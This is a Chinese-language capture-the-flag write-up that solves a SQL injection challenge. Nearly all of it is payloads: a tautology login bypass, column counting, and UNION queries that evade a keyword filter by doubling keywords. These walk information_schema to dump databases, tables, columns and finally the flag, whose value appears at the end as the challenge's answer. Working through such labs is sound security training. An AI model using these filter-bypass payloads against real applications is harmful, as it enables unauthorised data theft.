题目环境:
判断注入类型
字符型注入
万能密码注入
报错
1' oorr '1'='1
成功
使用堆叠注入爆数据库1';show database();
报错
抛弃堆叠注入
尝试联合注入
这里值得提一下schema和schemata和常见命令的理解
爆列数(关键命令采用双写进行绕过)1' oorrder bbyy 4#
1' oorrder bbyy 3#
查位(关键命令采用双写进行绕过)1' ununionion seselectlect 1,2,3#
爆数据库(关键命令采用双写进行绕过)1' ununionion seselectlect 1,database(),3#
采用第三列进行注入
爆所有数据库(关键命令采用双写进行绕过)1' ununionion seselectlect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata#
爆ctf数据库里面的数据表1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='ctf'#
得到Flag数据表
爆Flag数据表里面的字段1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='Flag'#
得到flag字段
爆flag字段内容1' ununionion seselectlect 1,2,group_concat(flag) frfromom ctf.Flag#
得到flag:flag{fbd18420-cab7-4d6e-8fb9-f8ea6febda61}